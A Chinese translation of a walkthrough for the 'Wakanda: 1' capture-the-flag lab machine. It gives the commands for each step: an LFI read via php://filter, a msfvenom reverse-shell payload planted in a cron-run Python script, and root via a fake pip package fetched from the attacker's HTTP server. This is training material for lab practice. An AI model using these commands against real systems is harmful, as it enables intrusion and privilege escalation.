本文翻译自:http://www.hackingarticles.in/hack-the-wakanda-1-ctf-challenge/

大家好,本文向大家介绍一个CTF挑战靶机Wakanda,下载地址在这里。该靶机难度适中,共有三个flag(flag1.txt,flag2.txt和root.txt)。

渗透测试方法如下

  1. 网络扫描(Nmap,netdiscover)
  2. HTTP服务遍历
  3. Php filter协议利用LFI漏洞
  4. 密码base64解码
  5. SSH登陆
  6. 获取第一个flag
  7. 查找属于devops用户的文件
  8. Antivirus.py文件写入恶意python代码
  9. 获取nc会话
  10. 获取第二个flag
  11. Sudo提权
  12. 利用Fake Pip
  13. 获取root权限并获取第三个flag

通关攻略
第一步是使用netdiscover工具进行网络扫描,找到我们要进行攻击的靶机IP地址。

netdiscover


找到靶机地址是192.168.1.124
下一步就是用nmap扫描靶机,使用如下命令:

nmap -p- -A 192.168.1.124


Nmap输出结果显示开放了4个端口:80(HTTP),111(RPC),333(SSH),48920(RPC)。
在浏览器中访问192.168.1.124这个IP地址,没有发现什么有用的信息。

既然如此,我们用dirb工具来进行目录遍历,命令如下:

dirb http://192.168.1.124


如图所示,我们扫出来了很多目录,有/admin和/backup等,不过大小却都是0,看来也是没有什么东西了。再来看看index页面的源码吧,说不定会有发现。果不其然,我们在页面注释中发现了“lang”这个参数。

我们在url中使用“lang”这个参数,传递的值是'fr',现页面内容被转换为了法语,如图:

现在我们来试试这个lang参数是否存在LFI漏洞,借助curl工具,使用php filter伪协议来读取index文件源码,命令如下:

curl http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index


读取到的内容显而易见是经过base64编码的,我们对它解码一下得到原始文件内容,如图:

非常幸运,在这里我们看到了密码“Niamey4Ever227!!!”。仔细看的话,我们还发现作者是mamadou,这可能就是ssh登陆凭证,我们去登陆试试。
果然登陆成功了,而且得到了一个python命令提示符界面。这好办,我们import pty这个模块,然后使用spawn ‘/bin/bash’命令来进入系统的bash shell。我们来看下mamadou用户的家目录,发现flag1.txt就躺在那儿,读取便是,如图:

通过对目录进行遍历,在/tmp目录下有一个test文件,打开test文件,乍一看,没有什么东西。不过仔细点看,可以看到这个文件的属主是devops用户,这就为我们提供了一个新思路,我们来找找属主是devops用户的所有文件看看是否有突破,使用find命令,如下:

find / -user devops 2>/dev/null

我们在/srv目录下发现了一个特殊的文件‘.antivirus.py’,如图:

现在我们打开这个py文件,发现内容是打开/tmp目录下的test文件,然后往里写入“test”字符串。为了利用这个脚本,我们可以将这段内容替换为我们的shellcode。首先,我们需要生成一个msfvenom payload,命令如下;

msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R


生成payload后,我们打开刚才那个py文件,把里面的代码注释掉,然后插入我们的payload,复制的时候不要“python -c”,如图:

然后我们用nc设置好监听器,我们稍等片刻,等待脚本被执行。一旦脚本被执行,我们就获得了一个反向shell。我们查看一下UID,发现进入的是devops用户的shell。现在我们进入到devops用户的家目录,可以很轻易的读取到flag2.txt。
得到第二个flag后,我们来看看该用户能用sudo执行的命令,使用sudo -l来查看,发现我们即使不是root用户,也可以以超级用户(super user)的身份执行pip命令,如图:

这里就需要你的知识储备充足了,关于pip命令,有一个漏洞可以利用,GitHub上有一个利用脚本Fakepip,下载地址在这里

我们把这个fakepip脚本下载下来

git clone https://github.com/0x00-0x00/FakePip.git

然后在本地对这个脚本进行编辑,这里需要修改的是os.system函数,这个函数里的内容是base64编码字符串,我们解码一下,可以得到一个IP地址,把IP地址替换成我们自己的IP地址,然后再用base64编码回去,并替换掉脚本中os.system函数中的字符串。


接着我们在本地用python开启HTTP服务,这样我们就能把fakepip这个脚本上传到靶机中。

python -m SimpleHTTPServer 80


启动HTTP服务之后,我们在靶机上使用wget命令来下载这个脚本,下载之后就根据readme文件的提示来执行命令

wget http://192.168.1.134/setup.py
sudo pip install . --upgrade --force-install


只要我们一执行命令,我们就获得了root用户的反向shell,现在我们可以切换到/root目录,并读取到root.txt中的flag了,如图所示:

好的,本次靶机到此结束,各位白帽子们可以下载靶机,一展身手。

源链接

Hacking more

...